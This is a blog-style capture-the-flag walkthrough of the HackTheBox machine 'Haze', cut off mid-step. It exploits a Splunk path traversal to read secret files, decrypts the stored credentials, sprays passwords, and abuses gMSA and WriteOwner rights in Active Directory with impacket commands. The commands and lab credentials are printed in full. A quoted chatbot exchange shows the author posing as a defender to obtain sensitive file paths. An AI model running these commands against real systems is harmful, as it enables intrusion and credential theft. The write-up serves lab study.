Haze

INTRODUCTION

Haze was released as the penultimate box of HTB’s Season 7 Vice. It was challenging, and has several “gotchas” built into it - thankfully, these moments are surmountable with the right set of tools. Haze is a test of both the breadth of your toolbox, and how well you know each one of your tools. Haze is true to its name: at no point during this box can you see more than a single step forward… My advice is to redo Bloodhound data collection (in multiple ways) every time you move laterally to another principal.

Recon was relatively short for a box of this difficulty. That being said, I spent quite a while performing web enumeration in hopes that there was some kind of permission or access-control misconfiguration (spoiler alert: there wasn’t!). Checking out the HTTP endpoint manually provides a hint at a username, but that’s all. While we don’t have an exact version of the target’s software yet, it is still worthwhile to spend some time researching public vulnerabilities.

Foothold wasn’t too bad. If you took my advice and spend some time researching vulnerabilities, you’ll quickly notice a very useful exploit that can be used to discover some of the target’s secrets. How to make use of these secrets is another matter! Foothold had a couple moments that, at the time, seemed like rabbit-holes. However, a little research into the target reveals that they are intentional (albeit weird and proprietary) aspects of the target’s configuration. Unfortunately, the user we gain a foothold as does not hold the user flag.

The user flag is straightforward on this one, once you see the path. Used properly, Bloodhound shows us the way forward to the next user - it’s only a matter of utilizing a few tools to abuse an AD misconfiguration. I had never seen this misconfiguration or this method, so it took some research for me to figure this out.

The root flag involved a few steps. At one point, we need to do some filesystem enumeration. One hint here is to keep in mind “what” you’re looking for, rather than “where” you might find it… The secrets you uncover will, puzzlingly, lead you back to where you started the box. Consider what has changed, what you’ve gained along the way, and leverage this for one more lateral move to arrive at the final low-priv user. Check that user’s privileges and see if one stands out: it’s something I’ve written about before, so feel free to search for that privilege on this blog for some tips on how to abuse it.

Haze was tough, but it was a great way to build familiarity with some essential tools for attacking Active Directory.

title picture

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
8000/tcp  open  http-alt
8088/tcp  open  radan-http
8089/tcp  open  unknown
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49672/tcp open  unknown
49681/tcp open  unknown
49682/tcp open  unknown
50887/tcp open  unknown
50892/tcp open  unknown
50903/tcp open  unknown
50918/tcp open  unknown
58335/tcp open  unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-30 05:49:04Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after:  2026-03-05T07:12:20
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp  open  http          Splunkd httpd
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Splunkd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.36.146:8000/en-US/account/login?return_to=%2Fen-US%2F
8088/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry 
|_/
8089/tcp  open  ssl/http      Splunkd httpd
|_http-server-header: Splunkd
|_http-title: splunkd
| http-robots.txt: 1 disallowed entry 
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after:  2028-03-04T07:29:08
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49682/tcp open  msrpc         Microsoft Windows RPC
50887/tcp open  msrpc         Microsoft Windows RPC
50892/tcp open  msrpc         Microsoft Windows RPC
50903/tcp open  msrpc         Microsoft Windows RPC
50918/tcp open  msrpc         Microsoft Windows RPC
58335/tcp open  msrpc         Microsoft Windows RPC

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 8h00m00s
| smb2-time: 
|   date: 2025-03-30T05:49:58
|_  start_date: N/A

Oh cool! I’ve never tried Splunk before. This will be interesting.

⚠️ Also, I’ve never had to deal with ports 3268 and 3269 - these are for the LDAP Global Catalog

Why is this worth mentioning? Because it implies there might be a whole domain Forest in the works…

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT    STATE SERVICE      VERSION
53/udp  open  domain       (generic dns response: NOTIMP)
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2025-03-30 05:56:23Z)
123/udp open  ntp          NTP v3

Exploring the Website

Noting the domain from the nmap scan, I’ll add haze.htb to my /etc/hosts and do banner-grabbing for the web server:

DOMAIN=haze.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Splunk login

The HTTP server on port 8000, as nmap and whatweb both indicated, is clearly the Splunk web UI:

index page

Attempting a login as root:root we get a simple message denying access. But the First time signing in? button opens a tray with some interesting info:

first time signing in

Ok, so there might be a username admin 💡

Webserver Strategy

Ideally, there will be more that we can infer from HTTP in an unauthenticated fashion. Let’s do some fuzzing to find out.

(Sub)domain enumeration

I’ll perform vhost and subdomain enumeration, to see if anything else is running on port 8000. First, I’ll check for alternate domains at this address:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results.

Next I’ll check for subdomains of haze.htb:

ffuf -w $WLIST -u http://$RADDR:8000/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

Still nothing.

Directory enumeration

I’ll move on to directory enumeration. First, on http://haze.htb:

WLIST=/usr/share/wordlists/dirs-and-files-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4

directory enum 1

Ok, that makes sense. Whatever directories the web app has will probably be behind their respective language directory. I think my wordlist is best matched to en-us so I’ll continue with that:

 ffuf -w $WLIST:FUZZ -u http://$DOMAIN:8000/en-us/FUZZ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_6ffuf-directories-en_us -of json -timeout 4 -mc all -fc 404 -v

directory enum 2

👀 That produced a LOT of results. So many, in fact, that I’ll probably need to parse it using jq

jq '.results[] | select(.status == 200) | {url}' ffuf-directories-en_us \
| grep '"url"' \
| cut -d '"' -f 4 \
| sed 's/http\:\/\/haze\.htb\:8000//'
/en-us/config
/en-us/embed
/en-us/favicon.ico
/en-us/help
/en-us/lists
/en-us/robots.txt
/en-us/robots-txt

Thank goodness I took JSON logs 😅

Now let’s get the HTTP 30X results:

jq '.results[] | select(.status >= 300) | select(.status < 400) | {url}' ffuf-directories-en_us \
| grep '"url"' \
| cut -d '"' -f 4 \
| sed 's/http\:\/\/haze\.htb\:8000//'
/en-us/account
/en-us/admin
/en-us/api
/en-us/app/bin
/en-us/app/composer.lock
/en-us/app/config/adminconf.json
/en-us/app/composer.json
/en-us/app/config/database.yml
/en-us/app/config/databases.yml
/en-us/app/config/database.yml.pgsql
/en-us/app/config/database.yml.sqlite3
/en-us/app/config/routes.cfg
/en-us/app/config/database.yml~
/en-us/app/config/global.json
/en-us/app/config/parameters.yml
/en-us/app/etc/local.xml.vmachine
/en-us/app/etc/local.xml
/en-us/app/config/database.yml_original
/en-us/app/config/parameters.ini
/en-us/app/dev
/en-us/app/etc/config.xml
/en-us/app/etc/local.xml.live
/en-us/app/docs
/en-us/app/etc/local.xml.bak
/en-us/app/etc/enterprise.xml
/en-us/app/config/schema.yml
/en-us/app/etc/local.xml.additional
/en-us/app/etc/local.xml.phpunit
/en-us/app/etc/local.additional
/en-us/app/etc/local.xml.localremote
/en-us/app/etc/fpc.xml
/en-us/app/etc/local.xml.vmachine.rm
/en-us/app/etc/local.xml.template
/en-us/app/.htaccess
/en-us/app/languages
/en-us/app/phpunit.xml
/en-us/app/src
/en-us/app/sys
/en-us/app/testing
/en-us/app/unschedule.bat
/en-us/app/vendor
/en-us/app/vendor-src
/en-us/config/application.rb
/en-us/config/appdata.config
/en-us/config/apc.php
/en-us/config/application.ini
/en-us/config/aws.yml
/en-us/config/boot.rb
/en-us/config/app.yml
/en-us/config/banned_words.txt
/en-us/config/config.inc.php.bak
/en-us/config/config.inc.php.dist
/en-us/config/database.yml.sqlite3
/en-us/config/database.yml~
/en-us/config/database.yml
/en-us/config/config.inc.php
/en-us/config/database.yml.pgsql
/en-us/config/database.yml_original
/en-us/config/databases.yml
/en-us/config/dbconfig.ini
/en-us/config/config.ini
/en-us/config/monkcheckout.ini
/en-us/config/monkid.ini
/en-us/config/monkdonate.ini
/en-us/config/producao.ini
/en-us/config/puma.rb
/en-us/config/routes.yml
/en-us/config/routes.rb
/en-us/config/secrets.yml
/en-us/config/settings.inc
/en-us/config/settings.ini
/en-us/config/settings.ini.cfm
/en-us/config/settings.local.yml
/en-us/config/webpacker.yml
/en-us/index
/en-us/info
/en-us/licensing
/en-us/login
/en-us/manager
/en-us/manager/html
/en-us/modules
/en-us/search
/en-us/tree

The vast majority of these were HTTP 303 results that redirected back to the login page. Which ones redirected somewhere else?

jq '.results[] | select(.status == 303) | {redirectlocation}' ffuf-directories-en_us \
| grep redirectlocation \
| cut -d '"' -f 4 \
| grep -v 'http://haze.htb:8000/en-US/account/login'
http://haze.htb:8000/en-US/manager
http://haze.htb:8000/en-US/manager/system/licensing/switch?return_to=None

However, when I checked these locations, the redirects themselves also redirected back to to the login page… 😒

HTTP 200 pages

/en-US/config is just some json. Unfortunately, it does not look useful.

{"MRSPARKLE_ROOT_PATH": "", "MRSPARKLE_PORT_NUMBER": "8000", "FORM_KEY": null, "SERVER_ZONEINFO": "", "SPLUNKD_PATH": "/en-US/splunkd/__raw", "JSCHART_TEST_MODE": false, "JSCHART_TRUNCATION_LIMIT": null, "JSCHART_TRUNCATION_LIMIT_CHROME": 50000, "JSCHART_TRUNCATION_LIMIT_FIREFOX": 50000, "JSCHART_TRUNCATION_LIMIT_SAFARI": 50000, "JSCHART_TRUNCATION_LIMIT_IE11": 50000, "JSCHART_TRUNCATION_LIMIT_IE10": null, "JSCHART_TRUNCATION_LIMIT_IE9": null, "JSCHART_TRUNCATION_LIMIT_IE8": null, "JSCHART_TRUNCATION_LIMIT_IE7": null, "JSCHART_SERIES_LIMIT": 100, "JSCHART_RESULTS_LIMIT": 10000, "EMBED_URI": "", "EMBED_FOOTER": "splunk>", "LOCALE": "en-US"}
  • **/en-US/embed**doesn’t seem to load anything.
  • /en-US/favicon is just the favicon.
  • /en-US/help sends us to the online public help from Splunk.

/en-US/lists seems to hint at some kind of API:

directory enum 4

Both robots.txt pages show a minimal robots configuration. Nothing interesting.

Finally, after checking all those pages, I’ve gone through as much of the javascript from the login page as I can (searching for something that would hint at a particular Splunk version). Still no luck!

🤔 Hmm… I still don’t really have any leads. I wish I had a better way of fingerprinting Splunk.

Vulnerability Research

HTB boxes often feature notable, recent CVEs - sometimes non-CVEs that were featured in the news, too. I’ll do some web searching to see if any vulnerabilities stand out.

I’m literally just going to Google and searching "splunk" CVE vulneravility PoC exploit and sifting through the results.

I was surprised to see so many CVEs, but some that stood out are:

  1. CVE-2023-32707 Authenticated admin account takeover. User must have edit_user capability. Requires Splunk Enterprise < 9.0.5. LINK
  2. CVE-2024-29945 and CVE-2024-29946 Authenticated Search Processing Language (SPL) flaws. Enables something that basically sounds like a Splunk-specific thing similar to an SQLi. Requires versions prior to Spunk Enterprise 9.2.1, 9.1.4, or 9.0.9. LINK
  3. CVE-2024-36991 Local file inclusion that can be used through a path traversal. Requires versions prior to Splunk Enterprise 9.2.2, 9.1.5, and 9.0.10. Target must be Windows. LINK PoC
  4. CVE-2023-46214 Authenticated RCE due to lack of validation in extensible stylesheet language transformations (XSLT). Requires Splunk Enterprise prior to 9.0.7 and 9.1.2. LINK PoC
  5. CVE-2025-20229 Authenticated RCE due to lack of permissions check on uploading to a certain directory. Requires Splunk Enterprise prior to 9.3.3, 9.2.5, and 9.1.8. LINK

(1), (2), (4) and (5) all require authentication - and (4) specifically requires credentials.

(3) seems possible, and actually really easy to test. All we need to do is send a GET request with a path traversal in it:

curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd

Path traversal PoC success

😑 you. must. be. joking.

Not only did it work first try, but there are also password hashes in there?! Also, note the email address for admin: this is clearly an uninitialized admin account for Splunk!

It’s also a little surprising that we got /etc/passwd, since this is a Windows target. The target must be running Splunk in a linux-based container or something.

FOOTHOLD

Hash Cracking

I’ll put the hashes in a form more suitable for cracking

curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/passwd \
| cut -d ':' -f 2,3 > etc-passwd.hash

name-that-hash identifies the hashes as SHA-512 Crypt, with hashcat mode 1800 or JtR mode sha512crypt.

hashcat -m 1800 --username etc-passwd.hash /usr/share/wordlists/rockyou.txt

It was going to take a little over a day to do rockyou.txt, so I moved the cracking job over to a machine with a GPU and started again.

Went from 500 H/s to 69.2 kH/s. A bit of an improvement 😅

🤔 Hmm… No luck. Perhaps these password hashes weren’t meant to be crackable.

Sensitive Files

If these password hashes aren’t meant to be crackable, I should probably go looking for other sensitive files. But what sensitive files does Splunk use?

Obviously, I can’t just spin up my own docker container of Splunk Enterprise and look (I’m sure it’s expensive. Plus, I don’t use Windows), so instead I asked ChatGPT:

I’ve been asked to make sure the sensitive files in our Splunk installation are protected. We have it installed on Windows. What are some of the sensitive files for Splunk that I should pay attention to? I want to know about stuff like configuration files that contain secrets, things like that. Just list the expected filepaths please. If I want to know more about particular files, I’ll ask. Thanks!

Below are some of the common file paths in a typical Splunk installation on Windows that tend to hold sensitive configuration and credential data. Note that your exact paths may vary based on your installation and configuration:

  • %SPLUNK_HOME%\etc\passwd
  • %SPLUNK_HOME%\etc\system\local\authentication.conf
  • %SPLUNK_HOME%\etc\system\local\server.conf
  • %SPLUNK_HOME%\etc\system\local\web.conf
  • %SPLUNK_HOME%\etc\deploymentclient.conf
  • %SPLUNK_HOME%\etc\users* (especially any local config files under individual user directories)
  • %SPLUNK_HOME%\etc\certs\ (directory containing SSL keys and certificates)

Make sure to adjust %SPLUNK_HOME% to your actual installation folder (for example, “C:\Program Files\Splunk”).

Let me know if you need more details on any particular file.

Great, well we already found one of those, we’ve already confirmed the %SPLUNK_HOME% part. I’ll check the rest of those files:

authentication.conf

[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0

[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname

[authentication]
authSettings = Haze LDAP Auth
authType = LDAP

😮 Whoa! Check out the [Haze LDAP Auth] part. It looks like a password hash for LDAP.

server.conf

[general]
serverName = dc01
pass4SymmKey = $7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==

[sslConfig]
sslPassword = $7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==

[lmpool:auto_generated_pool_download-trial]
description = auto_generated_pool_download-trial
peers = *
quota = MAX
stack_id = download-trial

[lmpool:auto_generated_pool_forwarder]
description = auto_generated_pool_forwarder
peers = *
quota = MAX
stack_id = forwarder

[lmpool:auto_generated_pool_free]
description = auto_generated_pool_free
peers = *
quota = MAX
stack_id = free

More hashes!

web.conf and deploymentclient.conf each led to HTTP 404 errors.

Splunk conf hashes

These hashes all seem to use the same algorithm, so let’s bundle them into one file:

cat << "EOF" > splunk_conf_files.hash
$7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
$7$lPCemQk01ejJvI8nwCjXjx7PJclrQJ+SfC3/ST+K0s+1LsdlNuXwlA==
$7$/nq/of9YXJfJY+DzwGMxgOmH4Fc0dgNwc5qfCiBhwdYvg9+0OCCcQw==
EOF
name-that-hash -f splunk_conf_files.hash

No result from name-that-hash… What about hashcat itself?

hashcat --example-hashes | grep '$7'

Still nothing really matches. After a short web search, I came across this repo: https://github.com/HurricaneLabs/splunksecrets. In their readme, they discuss the format of hashes we see above.

However, to use this tool, we need the “splunk secret”… No clue where that might be. I’ll just ask:

My boss mentioned something about a “splunk secret”. Is that stored in a file? It sounds like it would be pretty sensitive

Yes, there is a file known as the “splunk.secret” which contains sensitive data. Typically, you can find it at:

  • %SPLUNK_HOME%\etc\splunk.secret

This file holds a secret key that Splunk uses for internal encryption purposes (for example, encrypting credential data and other internal tokens). Since it plays a critical role in securing your Splunk instance, you’ll want to make sure its access is appropriately restricted.

😹 that’s exactly what I needed!

curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/splunk.secret | tee loot/splunk.secret

🙅‍♂️ Nope, that’s a HTTP 404. Checking online, however, I found from the Splunk forums that it might actually be at %SPLUNK_HOME%/etc/auth/splunk.secret. Let’s check that instead:

curl http://haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../etc/auth/splunk.secret | tee loot/splunk.secret

got splunk secret

Great! Now that I have some $7 formatted hashes, and the splunk secret, I should be able to use the splunksecrets tool:

cd ../tools; python3 -m venv .
source bin/activate
pip3 install splunksecrets
splunksecrets --help  # figured out the syntax

I’ll loop the tool through all the hashes

while IFS= read -r hash; do 
	splunksecrets splunk-decrypt -S ../loot/splunk.secret --ciphertext "$hash"; 
done < ../loot/splunk_conf_files.hash

cracked splunk hashes

There’s three cracked passwords 😁

AccountPassword
Paul TaylorLd@p_Auth_Sp1unk@2k24
pass4SymmKeychangeme
sslPasswordpassword

Hopeful for credential re-use, I tossed the Paul Taylor credential into evil-winrm:

evil-winrm -i haze.htb -u 'Paul Taylor' -p 'Ld@p_Auth_Sp1unk@2k24'

No luck! It’s marked as being an LDAP password, so maybe I should use it for that? First

Password spraying

I have a name and password (but not a username). This feels pretty close to an actual foothold, so I want to see if I can do a bit of an educated brute-force for Paul Taylor’s username.

Thankfully, there’s a tool called username-anarchy that works perfectly for this use-case - turning a person name (and optionally other info) into a wordlist of usernames:

./username-anarchy Paul Taylor

username anarchy

Now that we have a few somewhat-likely usernames, let’s do spray the password at them:

crackmapexec smb -u paul_taylor.lst -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb $RADDR --continue-on-success

password spraying

👏 Alright! There’s a verified credential: paul.taylor : Ld@p_Auth_Sp1unk@2k24. Can this be used to access the Splunk dashboard?

paul taylor splunk auth

❌ No, this credential doesn’t work for splunk. Neither do any of the passwords when used with the admin user.

I’ll try winrm again with this newfound loot:

evil-winrm -i haze.htb -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24'

😞 Nope, that still didn’t do it. Maybe the target will only allow authentication through Kerberos?

impacket-getTGT -dc-ip $RADDR 'haze.htb/paul.taylor:Ld@p_Auth_Sp1unk@2k24'

clock  skew too great

Alright, let’s double-check the clock skew:

echo "theirs: $(rdate -np $RADDR)"; echo "  mine: $(date +%a\ %b\ %d\ %H:%M:%S\ %Z\ %Y)"

check clock skew

They’re 8h ahead of me, so I can use faketime to correct for it:

faketime -f +8h impacket-getTGT -dc-ip $RADDR 'haze.htb/paul.taylor:Ld@p_Auth_Sp1unk@2k24'

got TGT for paul

I have a TGT, but I still need to configure my kerberos client to connect to the target. This is the custom_krb5.conf file I’ve made:

[libdefaults]
    default_realm = HAZE.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    HAZE.HTB = {
        kdc = dc01.haze.htb
        admin_server = dc01.haze.htb
        default_domain = dc01.haze.htb
    }

[domain_realm]
    haze.htb = HAZE.HTB
    .haze.htb = HAZE.HTB
KRB5CCACHE=paul.taylor.ccache faketime -f +8h evil-winrm -i dc01.haze.htb -r HAZE.htb

😞 Still not working! I get some gssapi error indicating that this user cant be found. Upon further research, I realized that this error would occur if paul.taylor simply wasnt in the Remote Management Users group.

Thankfully, now that we have a credential, it should be easy to check this.

Bloodhound

The credential we’ve obtained strongly hints that it’s purpose is LDAP access. We could do all kinds of enumeration with LDAP, but to get a broad overview, I’ll try Bloodhound.

Note: I’m already running Bloodhound-CE as a docker stack, with docker compose up. See the Bloodhound-CE github repo for more details.

Since I don’t have any remote connection, I’ll use rusthound-ce as the data collector:

rusthound-ce -d 'haze.htb' -u 'paul.taylor' -p 'Ld@p_Auth_Sp1unk@2k24' -z

Appears successful, I’ll ingest the resulting zip file into Bloodhound. Checking out paul.taylor, we can see that they are able to enroll in some certificates, but that’s pretty much it:

paul taylor bloodhound

Disappointingly, paul.taylor is NOT a member of Remote Management Users:

bloodhound remote management users

Unless I’m mistaken, this explains why I was never able to connect over WinRM as paul.taylor… Maybe I should try the same password on either of these two users? Based on the username format from earlier, they’re probably edward.martin and mark.adams.

evil-winrm -i dc01.haze.htb -u 'edward.martin' -p 'Ld@p_Auth_Sp1unk@2k24'

No credential reuse for edward.martin

evil-winrm -i dc01.haze.htb -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24'

cred reuse success mark.adams

🎉 YES! We unexpectedly have credential reuse with one of th users in Remote Management Users group! We have a shell 👍

USER FLAG

Local enumeration - mark.adams

I’d like to collect more data for Bloodhound (this time, using Sharphound), so I’ll need to transfer some tools onto the target. SMB is convenient:

cd ~/Tools/WINDOWS
sudo ufw allow from $RADDR to any port 139,445 proto tcp
sudo impacket-smbserver share -smb2support ./ -user test -password test

Now, we can map this to a drive on the target:

net use X: \\10.10.14.100\share /user:test test

Now we can run Sharphound, and transfer the results back to the attacker host:

X:\SharpHound.exe -c All --collectallproperties
copy 20250331215828_BloodHound.zip X:\20250331215828_BloodHound.zip
del 20250331215828_BloodHound.zip

On my attacker host (as before) I’ll get Bloodhound to ingest the new data.

There isn’t very much new, but at least we can get an idea of what mark.adams is about:

bloodhound mark.adams

Mostly unsurprising, but that is this GMSA_MANAGERS group? I’ve only heard of those, but never seen them.

A little bit of research uncovered that a gMSA is a group managed service account. When you need multiple instances of a service account, or need to allow shared credentials between the service account, you use a gMSA.

🤔 This brings to mind the HAZE-IT-BACKUP$ user I saw earlier in Bloodhound. It didn’t seem like a regular account. Is it a gMSA?

haze id backups

Scrolling down a little further, we see the property gMSA TRUE, so that confirms it! So from what I understand, a member of GMSA_MANAGERS (mark.adams is the only member) should be able to read the gMSA password.

gMSA accounts use very long, randomized passwords that are rotated automatically. According to Hacktricks, they are often rotated every 30 days.

This article mentions using a tool called gMSADumper.py to read any/all available gMSA passwords using a specified regular account. Let’s try it out:

python3 gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb'

gMSADumper 1

Well… mark.adams is not a domain admin. Does that mean this is hopeless? Probably not: I’m sure the membership mark.adams has in GMSA_MANAGERS allows exactly this (we need to allow mark.adams to request the password of HAZE-IT-BACKUP$):

Set-ADServiceAccount -Identity "Haze-IT-Backup" -PrincipalsAllowedToRetrieveManagedPassword "mark.adams"

This didn’t show any output, but it didn’t show any errors either - so let’s try again to read the gMSA password:

python3 gMSADumper.py -u 'mark.adams' -p 'Ld@p_Auth_Sp1unk@2k24' -d 'haze.htb'

gMSADumper 2

👏 Success! The top entry is the NT hash for HAZE-IT-BACKUP$: HAZE-IT-BACKUP$ : :735c02c6b2dc54c3c8c6891f55279ebc

support_services

Now that we have the NT hash for HAZE-IT-BACKUP$, we can mostly act as that user. But what does that gain us?

haze it backups writeowner

We can see from Bloodhound that HAZE-IT-BACKUP$ is unique in that it has WriteOwner privileges over the SUPPORT_SERVICES group. This suggests that I could write HAZE-IT-BACKUP$ as the new owner to the group. Then, I should be free to add any members, even ones I’ve already compromised, like mark.adams.

Let’s try it out!

Adding a member to Support_Services

We need to do three steps:

  1. Write a new owner of the group (Should be HAZE-IT-BACKUP$)
  2. Grant AddMember permissions to HAZE-IT-BACKUP$
  3. Add mark.adams as a member of the group

According to Bloodhound’s Linux Abuse section on WriteOwner, we can use impacket’s owneredit for this:

impacket-owneredit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action write -new-owner-dn 'CN=HAZE-IT-BACKUP,CN=MANAGED SERVICE ACCOUNTS,DC=HAZE,DC=HTB' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'

Success 👍

Now that HAZE-IT-BACKUP$ owns the group, we should be able to use dacledit to grant WriteMembers privileges to them:

impacket-dacledit -hashes ':735c02c6b2dc54c3c8c6891f55279ebc' -action 'write' -rights 'WriteMembers' -principal 'HAZE-IT-BACKUP$' -target 'SUPPORT_SERVICES' 'haze.htb/HAZE-IT-BACKUP$'

Also successful 👍

Finally, we can add mark.adams as a member of the group:

pth-net rpc group addmem "SUPPORT_SERVICES" "mark.adams" -U "haze.htb"/"HAZE-IT-BACKUP$"%"ffffffffffffffffffffffffffffffff":"735c02c6b2dc54c3c8c6891f55279ebc" -S "dc01.haze.htb"

All good! 🎉

Bloodhound re-collection

We just added mark.adams to the Support_Services group, but what has that gained us? I tried running both rusthound-ce and SharpHound.exe again, but everything looked the same… 🤔

At the wise advice of another HTB player, I’ll try a different Bloodhound collector: bloodhound-ce-python

Getting bloodhound-ce-python

We can use bloodhound-ce-python as yet another data collector for Bloodhound-CE. This tool can be obtained directly from the repo. However, the trick is to use the bloodhound-ce branch:

cd ~/Tools
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
git checkout bloodhound-ce
python3 -m pipx install .

I tried this once and got the clock skew error. To correct for this, we can once again use faketime:

